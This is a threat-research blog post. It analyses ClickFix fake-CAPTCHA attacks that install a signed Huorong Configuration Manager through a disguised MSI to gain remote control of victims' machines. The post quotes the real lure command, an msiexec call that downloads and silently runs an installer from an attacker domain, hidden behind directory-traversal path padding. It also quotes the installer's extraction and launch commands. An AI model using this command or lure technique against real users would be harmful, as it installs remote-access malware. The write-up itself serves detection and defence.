Huorong Security Management Weaponized in ClickFix Attacks

Huorong is a Beijing based security company that offers an Endpoint Security Management Systems suite for enterprise and government customers. In newly observed ClickFix attacks, the Huorong EDR product is abused as an entry point into compromised systems. The Huorong Configuration Manager is bundled into an Advanced Installer MSI and installed on victim devices, giving malicious actors complete control over the device. The installer is deployed through compromised domains serving ClickFix (FakeCAPTCHA) lures.

Incident Overview

Like most ClickFix related incidents, a legitimate domain was compromised and abused to deploy a ClickFix lure. This write up will focus on an incident identified on January 30th, 2026. This is the second incident I have observed using this Advanced Installer method.

The first incident “AICAgo” involved the American Indian Center of Arkansas domain. Both observed incidents are referred to as “Incident One” or “Incident Two”.

The Culligan Water domain was compromised by an unknown threat actor and implanted with a script serving a malicious ClickFix lure. This lure asked users to follow the standard Win+R, CTRL+V, Enter steps.

The command copied to the clipboard was an MSIExec command reaching out to a remote domain to install an MSI.

MsiExEC.exe -pAcKaGe http:\\intentcpadi.com\system32\..\VerificationID\..\466943 /q                         

This command uses directory traversal as part of the social engineering lure. The functional URL is intentcpadi.com/466943, the system32 and VerificationID paths are traversed via dot-dot-slash mechanisms. This adds an amount of legitimacy to the command without relying on the typical comment appending often seen in other ClickFix lures.

The remote MSI is an Advanced Installer bundled MSI. It contains typical Advanced Installer files containing the strings for the installer, the font choices, and other UI elements. The installer executable is named Binary.viewer.exe. Additionally, there is a bundled CAB file named disk1. This CAB file contains an encrypted 7zip archive and a packaged 7-Zip Reduced Standalone Console binary.

The Advanced Installer contains text stating it is a “PDF Toolkit” installer. In both observed incidents, this “PDF Toolkit” had different names, but functioned the same.

Incident 1 (AICAgo): SlatePDF Office Toolkit
Incident 2 (Culligan Water): ClearForm PDF Platform

A directory named after the “PDF Toolkit” is created in the user’s %APPDATA% directory. The encrypted 7zip Archive is decrypted and extracted to this %APPDATA% location.

/HideWindow /dir "%APPDATA%\ClearForm Software Solutions OÜ\ClearForm PDF Platform\inst1282026\" "%APPDATA%\ClearForm Software Solutions OÜ\ClearForm PDF Platform\inst1282026\upd.exe" x "%APPDATA%\ClearForm Software Solutions OÜ\ClearForm PDF Platform\inst1282026\u.7z" -p6321282026 -o"%APPDATA%\ClearForm Software Solutions OÜ\ClearForm PDF Platform\inst1282026\" -y

Once the files have been extracted, the Advanced Installer process starts u.exe - The Huorong Configuration Manager.

/DontWait "%APPDATA%\ClearForm Software Solutions OÜ\ClearForm PDF Platform\inst1282026\\u\u.exe"

The files extracted from the archive included the Huorong Configuration Manager u.exe, as well as several custom DLLs used in the Configuration Manager. These files are signed with a valid certificate from Huorong.

Notably, the first observed incident used the Huorong Internet Security Log Viewer instead of the Huorong Configuration Manager. It is unknown why these incidents differed on this payload. The DLL files were the same for both incidents, although the Configuration Manager included more bundled DLLs.

The Huorong Endpoint Security Management System supports remote desktop access. This is configured to prompt the user to “allow” or “deny” the connection. However, if there is no response for 30 seconds, the client will automatically connect (Huorong).

Additionally, the product also supports remote connections through the remote assistance function. This function can be configured to operate silently, with no notification to the user (Huorong).

Note: Both of those pages were machine translated. There may be errors in the translation. I don’t read Chinese.

It is likely that a successful compromise would involve either hands-on-keyboard activity or automated post-compromise activity. Unfortunately, I do not have a method of testing or observing post-compromise behaviors currently.

IOCs

These are formatted terribly. It kind of works though lol

Incident One: AICAgo

Network/Lure

MSI

Extracted Huorong Files

Incident Two: Culligan Water

Network

MSI

Extracted Huorong Files